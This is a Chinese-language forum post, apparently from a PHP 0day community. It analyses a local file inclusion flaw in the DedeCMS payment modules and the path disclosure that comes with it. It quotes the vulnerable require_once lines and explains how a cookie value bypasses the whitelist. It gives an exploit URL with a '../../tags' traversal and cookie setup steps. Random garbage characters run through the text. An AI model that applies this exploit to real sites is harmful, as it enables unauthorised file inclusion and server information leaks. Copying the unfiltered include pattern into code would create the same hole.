晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)0 E; `) c/ u s3 Q" O
, ^# c w1 e7 O% U- @' ^
出现漏洞的两个文件为:- E7 t u( A2 t6 H6 q/ b: @
Include/payment/alipay.php+ D$ P' u9 X* ?! {+ h$ f/ S0 }
Include/payment/yeepay.php! r' [4 t4 s, B+ W
漏洞均出现在respond方法里,估计这两个文件是临时工写的。6 m, n8 ^' Y( f: |
& @ ?- _/ r. m# |1 n- u- m( j
Include/payment/alipay.php4 f5 c! t* V% e9 y: J
) q ]1 L# R8 c
......% \' I$ j/ R: {1 Q: U
function respond()
. E+ z; T: I% @8 h {
3 I9 Z* G% s/ b. b+ t d1 E1 v if (!empty($_POST))
& B8 F4 @1 C2 m" g8 `$ g {* D2 d# n' V0 z, ^
foreach($_POST as $key => $data)2 f) I7 t* e% a& |/ \
{; l# ~4 l8 Y- `7 m7 c6 g; J
$_GET[$key] = $data;) f: \2 F1 k3 f# Q
}* o$ k3 G# Z3 k- ]; L4 B
}
6 x6 A3 \$ Z5 b: c; @ /* 引入配置文件 */
4 y% P5 x, [: f6 Y require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
/ h" _+ F9 D2 W; z; A. p......
; U, L/ Z3 K: U9 r9 t a9 b 7 d3 S5 \. b7 T" w7 ^- e9 f
- I: j" |) j, Z! r2 E" N* |大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
1 A$ ^6 ~# p5 r# \# v# \4 y& M8 g/ a; C/ @
Include/payment/yeepay.php/ H0 d3 \6 Z% s I6 q
, u5 ], k7 m6 Z6 c! s
3 Y! y, P( e. X- W
6 I) [! P- D) \9 [......
% a* A% m9 r1 M function respond(). r" T. G* g$ I- C
{: @$ H- x- K" X2 {, B' X
1 N- X1 H. J" p/ g3 A
/* 引入配置文件 */: {# {- ?7 p' o$ ]
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';6 h6 p2 r$ q: e# X: w
7 w% p9 n8 z- S. }" Y
$p1_MerId = trim($payment['yp_account']);
% q2 m2 S* a2 J9 ~4 p. b $merchantKey = trim($payment['yp_key']);
# B2 ]8 S: {- P k0 ]4 @8 ~# Z......
Y/ Y& _8 i: x' h- \+ [( A* B1 W5 Q & j/ y) ]6 g. H, ^5 b
0 |7 O- |4 i) i$ a! y
( [" \- a# v$ z) ` M# u$ q+ a
# Z1 _+ L( w& ?: M' t大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
3 ]1 S9 Y# `+ @$ L" i" ^, w2 }2 z6 W* D& m) ? }
这两个方法在plus/carbuyaction.php文件调用。
3 j0 ^( f8 F' e! _2 ?- Q7 q. y0 d9 C
plus/carbuyaction.php" s9 Z3 a r' y: t, N$ A
4 w5 f7 k$ H$ A....... D" G( `- S/ z
} else if ($dopost == 'return') {
# ~/ F. U) B+ B6 A0 M. c $write_list = array('alipay', 'bank', 'cod', 'yeepay');- P4 v% f/ i% O. N8 S, w
if (in_array($code, $write_list))
* L6 a3 ^3 B: A% | {
8 h! ^% S4 M" t3 ]: ^ require_once DEDEINC.'/payment/'.$code.'.php';
1 K, m, A+ t! B) X% d& X L $pay = new $code;
1 C; q7 j2 H" _3 A- \. ^ $msg=$pay->respond();
8 `7 j6 a% y( q, O ShowMsg($msg, "javascript:;", 0, 3000);
3 X4 n$ l- g( N! [: `! T exit(); 7 n. t0 |) k- R; C& O2 R
} else {* d1 P, L" _9 r0 b E
exit('Error:File Type Can\'t Recognized!');
1 [4 ?7 y6 N% U3 h. l }* `" ~* A7 B$ M0 g& i. A$ o+ |/ e4 Z
} r# P7 u2 q- ~/ T5 N
...... ! }. A- N4 f: T$ C- _0 |* i4 b
( s: \3 q% s `* A
3 h- m- w7 n3 r0 Q# w1 C # t8 W ]% }' H' v4 o6 A
3 g2 [! v9 B! f: t9 j
1 V# N( x2 G3 \) y; F9 ?1 I8 X1 _4 }
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。/ F: d4 f/ o" O
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。! H- s: o! a+ E& e
: f) C( o6 Q5 ], @, A回到include/common.inc.php来看看他的机制。: c4 Q0 Z b) `2 w2 S) _3 ~
2 `7 T! C9 Q6 [6 `2 g2 v
, M% j; s6 K" Q0 N, A1 M: O4 Z5 ]! B
......) ~$ F% j9 I( i+ X
foreach(Array('_GET','_POST','_COOKIE') as $_request)6 _) t+ v" j' D' w# C2 | ]6 p
{9 @% J# ?/ V6 ]% @8 K" J: Z
foreach($$_request as $_k => $_v)
9 l( y7 }7 S1 [/ I {
; }' G3 i+ T6 Y) P3 w if($_k == 'nvarname') ${$_k} = $_v;
# V9 U7 f6 n2 x/ d1 z else ${$_k} = _RunMagicQuotes($_v);- s" J" ]0 l" b
}6 j: Q9 h6 a# u# E
}1 t5 o }. E! J9 B6 ^
......
5 J9 c/ l+ k/ o! g3 @9 K2 i2 v大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:5 J2 \% `% `& n
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |